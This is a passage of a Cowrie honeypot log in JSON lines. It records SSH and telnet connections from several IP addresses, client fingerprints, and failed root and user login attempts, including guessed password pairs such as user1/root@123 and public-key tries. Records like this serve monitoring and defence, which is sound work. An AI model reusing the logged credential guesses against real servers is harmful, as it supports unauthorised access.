{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55146,"dst_ip":"159.203.135.109","dst_port":22,"session":"25e798344e55","protocol":"ssh","message":"New connection: 31.40.204.166:55146 (159.203.135.109:22) [session: 25e798344e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:48.517756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:48.586706Z","src_ip":"31.40.204.166","session":"25e798344e55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:48.685480Z","src_ip":"31.40.204.166","session":"25e798344e55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"root@123","message":"login attempt [user1/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:49.297297Z","src_ip":"31.40.204.166","session":"25e798344e55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:50.517614Z","src_ip":"31.40.204.166","session":"25e798344e55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38894,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bffd6cd2af9","protocol":"telnet","message":"New connection: 152.42.224.71:38894 (10.17.0.5:23) [session: 2bffd6cd2af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:51.314787Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38908,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8163e27b863","protocol":"telnet","message":"New connection: 152.42.224.71:38908 (10.17.0.5:23) [session: a8163e27b863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:51.356598Z"}
{"eventid":"cowrie.session.closed","duration":51.06785178184509,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.053107Z","src_ip":"152.42.224.71","session":"029ec67a73a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.10","src_port":52734,"dst_ip":"10.17.0.5","dst_port":22,"session":"61ba288c8197","protocol":"ssh","message":"New connection: 185.255.100.10:52734 (10.17.0.5:22) [session: 61ba288c8197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.730592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.735361Z","src_ip":"185.255.100.10","session":"61ba288c8197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.742878Z","src_ip":"185.255.100.10","session":"61ba288c8197","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:5e:5f:af:51:37:2f:7a:4f:b2:f1:74:e5:34:79:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoAFhHXK7EV7XgBWpvlxPIA6IF/R9kLMXfi//0yRMBe/vZTsuH8IoG4imzyp+bQY18BMdlvFo9oATX+zkdCg8B18T5I9VcX7mZs1v+aG0CjbCieQ5+5s9zsEXCfvjHA7z6Q6aoSTCrnB99dvLdd5Nybmz/mCFBb4eOeBjSPeV9i1ABxUacYkxzILDGdVwERucl4Z4Slp3BmWXrKzJA4R7+5+yMEwhSzkkBs4I/GkD2YrePvgpCYOTDjM/HLNBEBJo7WESlakpsSabLL3jOgFFUcJGo4GDVOU1k9+mqaZjnQU3X9kgdRsyntfRbYBvpRzp2jRhZBNB9XAy7onuZ2p/ZFPYkqoGFMbGQP5k6wlsSsCe5LMWj07GJZkolEoI70iXNEzHL34cVuK0CuzbJajH8ZweqoYMe/A84H7CuuCYhXUaM3zI1Eh7nPlykTPKPE6SuUo2gDHABri/Nvx3meqqMueRk7vcZIpZS/cYo53dM/o28leRwSEJ5/hm9H0dLlJH7kcIgNDQnY6pgZLZPUt8HbeVG9+Y+QhJ+E4LgZrleRtW1Ja7Ysm763Y1560H5dQFonYXY13uZld20UwIGoOCiW5J5QCN4FX85JU/TDR0wfJPrpvHewarO94KlPcnwjE1XqQgg8/fLjvpHVrTxWzjvWXCTfu9sHwy6dWycm26CaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:5e:5f:af:51:37:2f:7a:4f:b2:f1:74:e5:34:79:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.759443Z","src_ip":"185.255.100.10","session":"61ba288c8197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:5e:5f:af:51:37:2f:7a:4f:b2:f1:74:e5:34:79:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoAFhHXK7EV7XgBWpvlxPIA6IF/R9kLMXfi//0yRMBe/vZTsuH8IoG4imzyp+bQY18BMdlvFo9oATX+zkdCg8B18T5I9VcX7mZs1v+aG0CjbCieQ5+5s9zsEXCfvjHA7z6Q6aoSTCrnB99dvLdd5Nybmz/mCFBb4eOeBjSPeV9i1ABxUacYkxzILDGdVwERucl4Z4Slp3BmWXrKzJA4R7+5+yMEwhSzkkBs4I/GkD2YrePvgpCYOTDjM/HLNBEBJo7WESlakpsSabLL3jOgFFUcJGo4GDVOU1k9+mqaZjnQU3X9kgdRsyntfRbYBvpRzp2jRhZBNB9XAy7onuZ2p/ZFPYkqoGFMbGQP5k6wlsSsCe5LMWj07GJZkolEoI70iXNEzHL34cVuK0CuzbJajH8ZweqoYMe/A84H7CuuCYhXUaM3zI1Eh7nPlykTPKPE6SuUo2gDHABri/Nvx3meqqMueRk7vcZIpZS/cYo53dM/o28leRwSEJ5/hm9H0dLlJH7kcIgNDQnY6pgZLZPUt8HbeVG9+Y+QhJ+E4LgZrleRtW1Ja7Ysm763Y1560H5dQFonYXY13uZld20UwIGoOCiW5J5QCN4FX85JU/TDR0wfJPrpvHewarO94KlPcnwjE1XqQgg8/fLjvpHVrTxWzjvWXCTfu9sHwy6dWycm26CaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.763950Z","src_ip":"185.255.100.10","session":"61ba288c8197","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:77:8e:90:9a:a6:c2:b5:81:07:ea:a5:52:50:56:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnCw1lIeCqENefms9N1RwNBugEZnmwsy0jNwA1TwT2DM2rXUBMgGUIQFFb2FoIPQBQQWew2KU+hb+T84DghMTNJGNG4oNGEPS42gXgjjPjcp56KcgED3vOxnO87gATgTKYRxJE5eW2qRr8cZQRPGJ8WnjfSXw2WP7VmSkBxn+V+ZLgszht1tI6IdwcPR5rKl3sqMm/MXm82CbDSqghdS8+BbX5pDSiryW5LuyjzaduwKVMmsyAyNg4D4dJGOeUeBA/zLH68Q8phxhWpsH4yIebNGaqoRfdaQwcaYWSWxDQqgrqyGcVj0c4Xi170BfH8TPOGhsNwjLhMO5DdGeAYsy7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:77:8e:90:9a:a6:c2:b5:81:07:ea:a5:52:50:56:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.774866Z","src_ip":"185.255.100.10","session":"61ba288c8197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:77:8e:90:9a:a6:c2:b5:81:07:ea:a5:52:50:56:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnCw1lIeCqENefms9N1RwNBugEZnmwsy0jNwA1TwT2DM2rXUBMgGUIQFFb2FoIPQBQQWew2KU+hb+T84DghMTNJGNG4oNGEPS42gXgjjPjcp56KcgED3vOxnO87gATgTKYRxJE5eW2qRr8cZQRPGJ8WnjfSXw2WP7VmSkBxn+V+ZLgszht1tI6IdwcPR5rKl3sqMm/MXm82CbDSqghdS8+BbX5pDSiryW5LuyjzaduwKVMmsyAyNg4D4dJGOeUeBA/zLH68Q8phxhWpsH4yIebNGaqoRfdaQwcaYWSWxDQqgrqyGcVj0c4Xi170BfH8TPOGhsNwjLhMO5DdGeAYsy7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.778917Z","src_ip":"185.255.100.10","session":"61ba288c8197","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:91:51:ea:a0:af:82:ef:7d:8b:22:64:1a:26:4e:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhcnfwSgfNRsFLASNBMPWy0Y83CWgiEGc3+Gyzt6dmr2rwqjO3yMkeILqeBznFhfBH0Ca8nVlXhNS5FQEL8SfpTN6C4VcleKSc0jLoKzZJ+g9pIGQ60p/AbviD1TPrPOxZZp1QN3E+ss3ur+p94vwtKsCPFNi62F32hREZBnXVPtH5s6jmusVjJYet8hjwJ7pYt5IUmBsn9Y1jZf8wU304SPs8P9Zf8nWONoSeO3NlTuCM4JzoC37KF6ZUSt8g9z2kPh4HA16VweWlqxOOOkLPTBB08kzW7frR6HWwY3PncqVWvdLGUSUHFeyVO27sJ4brt3wl6fImvcFKQYOrZVr7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:91:51:ea:a0:af:82:ef:7d:8b:22:64:1a:26:4e:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.787359Z","src_ip":"185.255.100.10","session":"61ba288c8197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:91:51:ea:a0:af:82:ef:7d:8b:22:64:1a:26:4e:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhcnfwSgfNRsFLASNBMPWy0Y83CWgiEGc3+Gyzt6dmr2rwqjO3yMkeILqeBznFhfBH0Ca8nVlXhNS5FQEL8SfpTN6C4VcleKSc0jLoKzZJ+g9pIGQ60p/AbviD1TPrPOxZZp1QN3E+ss3ur+p94vwtKsCPFNi62F32hREZBnXVPtH5s6jmusVjJYet8hjwJ7pYt5IUmBsn9Y1jZf8wU304SPs8P9Zf8nWONoSeO3NlTuCM4JzoC37KF6ZUSt8g9z2kPh4HA16VweWlqxOOOkLPTBB08kzW7frR6HWwY3PncqVWvdLGUSUHFeyVO27sJ4brt3wl6fImvcFKQYOrZVr7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.791133Z","src_ip":"185.255.100.10","session":"61ba288c8197","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:32:9d:a6:4e:cc:7c:1b:de:cb:d0:f9:00:02:d3:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtOr+PwskbeYTUSX6+POJ2y1Y/u121+3nbU00B5KtF1I+OzSfSaqyEr64CDhhUKYTV2GpVEO+597Yflr5WHc9XKZy5iEtnoodJei5IxCk6YHgNewo7y9GryyeoGi/cCInbbyXa/gHTny3I4FfSuyngij3wlVb8EcZXLvIPtxSwDngmD5ccMS9N+oICkUrsopu7deFI217SoE9lVtTaWdjZhNf1Si2yNuWH+mzP9PI2C9xqrfMTjVoGVflAdVhImolAbRh4p5fTx9og+lEMg/1BKSplXW4Y9UrBruZ7s8tmXxw5hIpV41me8J1PEFbQ7pLQxXqa/U+qONGxY6cJOJpV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:32:9d:a6:4e:cc:7c:1b:de:cb:d0:f9:00:02:d3:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.803397Z","src_ip":"185.255.100.10","session":"61ba288c8197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:32:9d:a6:4e:cc:7c:1b:de:cb:d0:f9:00:02:d3:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtOr+PwskbeYTUSX6+POJ2y1Y/u121+3nbU00B5KtF1I+OzSfSaqyEr64CDhhUKYTV2GpVEO+597Yflr5WHc9XKZy5iEtnoodJei5IxCk6YHgNewo7y9GryyeoGi/cCInbbyXa/gHTny3I4FfSuyngij3wlVb8EcZXLvIPtxSwDngmD5ccMS9N+oICkUrsopu7deFI217SoE9lVtTaWdjZhNf1Si2yNuWH+mzP9PI2C9xqrfMTjVoGVflAdVhImolAbRh4p5fTx9og+lEMg/1BKSplXW4Y9UrBruZ7s8tmXxw5hIpV41me8J1PEFbQ7pLQxXqa/U+qONGxY6cJOJpV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.807407Z","src_ip":"185.255.100.10","session":"61ba288c8197","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:fc:79:a5:e2:b7:da:d8:e9:16:e8:38:1e:63:41:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCAkJJmaUUBD/NxtGAKVd28G9H5ntjauEE8S0idrYScczNyl46sIyUoN5GlJ5u1gxhDwufx7Av2zXbqE7wNyiUbte2b3Xq9HRI5egze2Rn2VZ1lo3bQOSK1kxWylNGlonMD5tuVg0/S2vCpNU4XPjRFEoitor0kTHaYwRluFt6Zaieg9ZHEgOf8lGzsiNxtm+PXl8NmpMYoS9DchpYzY5N8iPtQx8ToqxSuFQQbwkQcR/VfB3v+3h0WW+xq+WI6VCb7ZDgp96aExzzgfCKzzBY87JXfjzxu5gCWnSJ9ktKqPVJzd/lzRUWxJ0JWcreC1yW0xCB6gCDJyQwuELuF6A8JcghGfNz5qFHxyOjP85uvGp8uTY8GJVPNDIOGW4pZw68iuefkSKPHPbr5e81atboH2y/e0MPxqdbyrbwrbEfMuwDth8jdzU+vbQykhGyUi1Hwa+SSMyTcmc1aqpXGHwmaRU6M4e35+LWj0ZC/84k5kDnQADQEB1QJ0dX8fbkkF4Q8AdA32ys2Y8t70a3q62hp2gGhKMhba7OVYuYdGEqiCFmvDYrmhriAXmNV145FHLF+CQ8ok3HtcaNsD9eShyEwB8vLNEo/BjhzxbRmamyGgnhVIV2AG9gRcuLbqc4bbtfLpu3YKK/OAy9zYGPrnwK6O2d3Bm4Djh4f+O8/H18VQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:fc:79:a5:e2:b7:da:d8:e9:16:e8:38:1e:63:41:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.818379Z","src_ip":"185.255.100.10","session":"61ba288c8197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:fc:79:a5:e2:b7:da:d8:e9:16:e8:38:1e:63:41:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCAkJJmaUUBD/NxtGAKVd28G9H5ntjauEE8S0idrYScczNyl46sIyUoN5GlJ5u1gxhDwufx7Av2zXbqE7wNyiUbte2b3Xq9HRI5egze2Rn2VZ1lo3bQOSK1kxWylNGlonMD5tuVg0/S2vCpNU4XPjRFEoitor0kTHaYwRluFt6Zaieg9ZHEgOf8lGzsiNxtm+PXl8NmpMYoS9DchpYzY5N8iPtQx8ToqxSuFQQbwkQcR/VfB3v+3h0WW+xq+WI6VCb7ZDgp96aExzzgfCKzzBY87JXfjzxu5gCWnSJ9ktKqPVJzd/lzRUWxJ0JWcreC1yW0xCB6gCDJyQwuELuF6A8JcghGfNz5qFHxyOjP85uvGp8uTY8GJVPNDIOGW4pZw68iuefkSKPHPbr5e81atboH2y/e0MPxqdbyrbwrbEfMuwDth8jdzU+vbQykhGyUi1Hwa+SSMyTcmc1aqpXGHwmaRU6M4e35+LWj0ZC/84k5kDnQADQEB1QJ0dX8fbkkF4Q8AdA32ys2Y8t70a3q62hp2gGhKMhba7OVYuYdGEqiCFmvDYrmhriAXmNV145FHLF+CQ8ok3HtcaNsD9eShyEwB8vLNEo/BjhzxbRmamyGgnhVIV2AG9gRcuLbqc4bbtfLpu3YKK/OAy9zYGPrnwK6O2d3Bm4Djh4f+O8/H18VQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.822129Z","src_ip":"185.255.100.10","session":"61ba288c8197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:56.834774Z","src_ip":"185.255.100.10","session":"61ba288c8197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.58736610412598,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:57.934384Z","src_ip":"152.42.224.71","session":"104f5bb520af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42368,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c24eb9144bc","protocol":"telnet","message":"New connection: 152.42.224.71:42368 (10.17.0.5:23) [session: 4c24eb9144bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:59.028786Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42372,"dst_ip":"10.17.0.5","dst_port":23,"session":"0907ab73437e","protocol":"telnet","message":"New connection: 152.42.224.71:42372 (10.17.0.5:23) [session: 0907ab73437e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:59.559074Z"}
{"eventid":"cowrie.session.closed","duration":28.66765308380127,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:59.931038Z","src_ip":"152.42.224.71","session":"c20753ed8155","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":51740,"dst_ip":"159.203.135.109","dst_port":22,"session":"123623815955","protocol":"ssh","message":"New connection: 37.233.85.71:51740 (159.203.135.109:22) [session: 123623815955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:00.597423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:00.601834Z","src_ip":"37.233.85.71","session":"123623815955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:00.706682Z","src_ip":"37.233.85.71","session":"123623815955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"california","message":"login attempt [root/california] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:01.021420Z","src_ip":"37.233.85.71","session":"123623815955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33630,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa485b92c82f","protocol":"ssh","message":"New connection: 31.40.204.166:33630 (159.203.135.109:22) [session: aa485b92c82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:01.084226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:01.099029Z","src_ip":"31.40.204.166","session":"aa485b92c82f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@o